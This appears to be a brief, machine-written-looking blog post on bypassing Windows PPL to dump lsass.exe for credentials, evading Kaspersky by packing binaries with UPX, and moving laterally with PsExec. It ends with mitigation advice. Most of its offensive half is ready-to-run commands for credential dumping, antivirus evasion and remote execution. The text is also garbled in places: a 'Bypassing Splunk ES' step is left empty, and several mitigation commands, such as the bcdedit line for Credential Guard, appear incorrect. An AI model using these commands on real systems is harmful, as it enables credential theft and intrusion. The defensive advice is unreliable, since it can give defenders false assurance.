Bypass Microsoft PPL and Dump Lsassexe

In this article, we explore techniques to bypass Microsoft Protected Process Light (PPL) and dump the Lsass.exe process, which is often targeted for credential extraction. Additionally, we discuss bypassing Kaspersky AV using older techniques and the implications of lateral movement under the radar. This is a serious alert for Iranian cybersecurity, as local programmers are increasingly targeted.

Verified Commands and Codes

1. Bypassing PPL and Dumping Lsass.exe:

• Use the following command to create a dump of the Lsass.exe process:

  procdump.exe -accepteula -ma lsass.exe lsass.dmp
  

• To bypass PPL, you can use tools like PPLDump:

  PPLDump.exe lsass.exe lsass.dmp
  

2. Bypassing Kaspersky AV:

• Older techniques involve using obfuscation or packing to evade detection. For example, using `UPX` to pack a binary:

  upx -9 -o packed_binary.exe original_binary.exe
  

3. Lateral Movement Under the Radar:

• Use `PsExec` for lateral movement while minimizing detection:

  PsExec.exe \target_machine -u username -p password -d -i cmd.exe
  

4. Bypassing Splunk ES:

• Modify event logs to avoid detection:

What Undercode Say

In the realm of cybersecurity, bypassing protections like Microsoft PPL and antivirus software such as Kaspersky requires a deep understanding of both offensive and defensive techniques. The ability to dump Lsass.exe is a critical skill for red teams, but it also highlights the importance of securing systems against such exploits. Iranian cybersecurity professionals must remain vigilant, as they are increasingly targeted by advanced threats.

To mitigate these risks, consider implementing the following measures:

• Enable Credential Guard: This feature in Windows helps protect against credential theft by isolating Lsass.exe.

  bcdedit /set {current} vg vtl
  

• Use Advanced Endpoint Protection: Solutions like Microsoft Defender for Endpoint can detect and block attempts to dump Lsass.exe.

  Set-MpPreference -EnableControlledFolderAccess Enabled
  

• Monitor Event Logs: Regularly review and analyze event logs for suspicious activity.

  Get-WinEvent -LogName Security | Where-Object {$_.ID -eq 4688}
  

• Implement Network Segmentation: Limit lateral movement by segmenting your network.

  netsh advfirewall firewall add rule name="Block Lateral Movement" dir=in action=block remoteip=192.168.1.0/24
  

• Regularly Update and Patch Systems: Ensure all systems are up-to-date with the latest security patches.
